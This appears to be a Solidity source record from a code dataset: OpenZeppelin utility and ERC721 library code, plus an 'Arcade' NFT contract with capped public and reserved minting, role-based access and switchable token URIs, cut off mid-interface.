* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
NOTE: Is it ok to return non base64-string? Noise holders should be available just copy-paste noises without any decoding.
|
function noiseHTML(uint256 noiseId) public view virtual returns (string memory) {
| 6,080,901 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./utils/DisplayURISwitchable.sol";
contract Arcade is DisplayURISwitchable, ERC721Enumerable, AccessControl, Ownable {
mapping(address => uint256) private _mintedList;
address private _derivativeContractList;
uint256 public MAX_PER_ADDRESS;
uint256 public MAX_PUBLIC;
uint256 public MAX_RESERVED;
uint256 public STARTING_RESERVED_ID;
uint256 public totalReservedSupply = 0;
uint256 public totalPublicSupply = 0;
uint256 public temporaryPublicMax = 0;
bool public frozen = false;
// Create a new role identifier for the operator role
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
constructor(uint256 maxPublic, uint256 maxTemporaryPublic, uint256 maxReserved, uint256 startingReservedID, uint256 maxPerAddress, address[] memory whitelistAddresses) ERC721("Arcade", "ARCADE") {
MAX_PUBLIC = maxPublic;
MAX_RESERVED = maxReserved;
STARTING_RESERVED_ID = startingReservedID;
MAX_PER_ADDRESS = maxPerAddress;
temporaryPublicMax = maxTemporaryPublic;
// Grant the contract deployer the default admin role: it will be able
// to grant and revoke any roles
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
for (uint256 i = 0; i < whitelistAddresses.length; i++) {
require(whitelistAddresses[i] != address(0), "Can't add the null address.");
_setupRole(OPERATOR_ROLE, whitelistAddresses[i]);
}
}
modifier onlyTokenOwner(uint256 tokenId) {
require(ownerOf(tokenId) == msg.sender, "You must be the token owner.");
_;
}
modifier lessThanMaxTotalSupply(uint256 tokenId) {
require(tokenId <= MAX_PUBLIC + MAX_RESERVED, "Arcade ID is too high.");
require(tokenId > 0, "Arcade ID cannot be 0.");
_;
}
function setTemporaryPublicMax(uint256 maxTemporaryPublic)
public
onlyRole(OPERATOR_ROLE)
{
require(maxTemporaryPublic <= MAX_PUBLIC, "You cannot set the temporary max above the absolute total.");
temporaryPublicMax = maxTemporaryPublic;
}
function freezeBaseURI()
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
frozen = true;
}
function derivativeContractList() public view returns (address) {
return _derivativeContractList;
}
function setDerivativeContractList(address newDerivativeContractList)
public
onlyRole(OPERATOR_ROLE)
{
_derivativeContractList = newDerivativeContractList;
}
function setBaseURI(string memory baseURI)
public
onlyRole(OPERATOR_ROLE)
{
require(!frozen, "Contract is frozen.");
_setBaseURI(baseURI);
}
function setDisplayBaseURI(string memory baseURI)
public
onlyRole(OPERATOR_ROLE)
{
_setDisplayBaseURI(baseURI);
}
function setDisplayMode(uint256 tokenId, bool mode)
public
override
lessThanMaxTotalSupply(tokenId)
onlyTokenOwner(tokenId)
{
_setDisplayMode(tokenId, mode);
}
function mintPublic(bool mode) public {
require(_mintedList[msg.sender] < MAX_PER_ADDRESS, "You have reached your minting limit.");
require(totalPublicSupply < MAX_PUBLIC, "There are no more NFTs for public minting.");
require(totalPublicSupply < temporaryPublicMax, "There are no more NFTs for public minting at this time.");
_mintedList[msg.sender] += 1;
uint256 tokenId = totalPublicSupply + 1;
// Skip the reserved block
if (tokenId >= STARTING_RESERVED_ID) {
tokenId += MAX_RESERVED;
}
_setDisplayMode(tokenId, mode);
totalPublicSupply += 1;
_safeMint(msg.sender, tokenId);
}
function _mintReserved(address targetAddress, uint256[] calldata tokenIds, bool[] calldata modes)
private
{
require(totalReservedSupply + tokenIds.length <= MAX_RESERVED, "This would exceed the total number of reserved NFTs.");
require(tokenIds.length == modes.length, "Input arrays must have the same length.");
for(uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(tokenId >= STARTING_RESERVED_ID && tokenId < STARTING_RESERVED_ID + MAX_RESERVED, "Token ID is not in the reserve range.");
_setDisplayMode(tokenId, modes[i]);
totalReservedSupply += 1;
_safeMint(targetAddress, tokenId);
}
}
function mintReserved(uint256[] calldata tokenIds, bool[] calldata modes)
external
onlyRole(OPERATOR_ROLE)
{
_mintReserved(msg.sender, tokenIds, modes);
}
function devMintReserved(address targetAddress, uint256[] calldata tokenIds, bool[] calldata modes)
external
onlyRole(OPERATOR_ROLE)
{
require(targetAddress != address(0), "Can't mint to the null address.");
_mintReserved(targetAddress, tokenIds, modes);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function tokenURI(uint256 tokenId)
public
view
override(DisplayURISwitchable, ERC721)
lessThanMaxTotalSupply(tokenId)
returns (string memory)
{
return DisplayURISwitchable.tokenURI(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IDisplayURISwitchable {
function setDisplayMode(uint256 tokenId, bool mode) external;
function tokenDisplayFullMode(uint256 tokenId) external view returns (bool);
function originalTokenURI(uint256 tokenId) external view returns (string memory);
function displayTokenURI(uint256 tokenId) external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/utils/Strings.sol";
import "./IDisplayURISwitchable.sol";
abstract contract DisplayURISwitchable is IDisplayURISwitchable {
using Strings for uint256;
mapping(uint256 => bool) internal _displayFullMode;
string internal _tokenOriginalBaseURI;
string internal _tokenDisplayBaseURI;
function _setBaseURI(string memory baseURI) internal {
require(_hasLength(baseURI), "Need a valid URI.");
_tokenOriginalBaseURI = baseURI;
}
function _setDisplayBaseURI(string memory baseURI) internal {
require(_hasLength(baseURI), "Need a valid URI.");
_tokenDisplayBaseURI = baseURI;
}
function _setDisplayMode(uint256 tokenId, bool mode) internal {
_displayFullMode[tokenId] = mode;
}
function tokenDisplayFullMode(uint256 tokenId)
public
view
virtual
override
returns (bool)
{
return _displayFullMode[tokenId];
}
function originalTokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
return _createURI(_tokenOriginalBaseURI, tokenId);
}
function displayTokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
return _createURI(_tokenDisplayBaseURI, tokenId);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
bool modeFull = _displayFullMode[tokenId];
if (modeFull) {
return displayTokenURI(tokenId);
}
return originalTokenURI(tokenId);
}
function _hasLength(string memory str) internal pure returns (bool) {
return bytes(str).length > 0;
}
function _createURI(string memory baseURI, uint256 tokenId)
internal
pure
returns (string memory)
{
if (_hasLength(baseURI)) {
return string(abi.encodePacked(baseURI, tokenId.toString()));
}
return "";
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
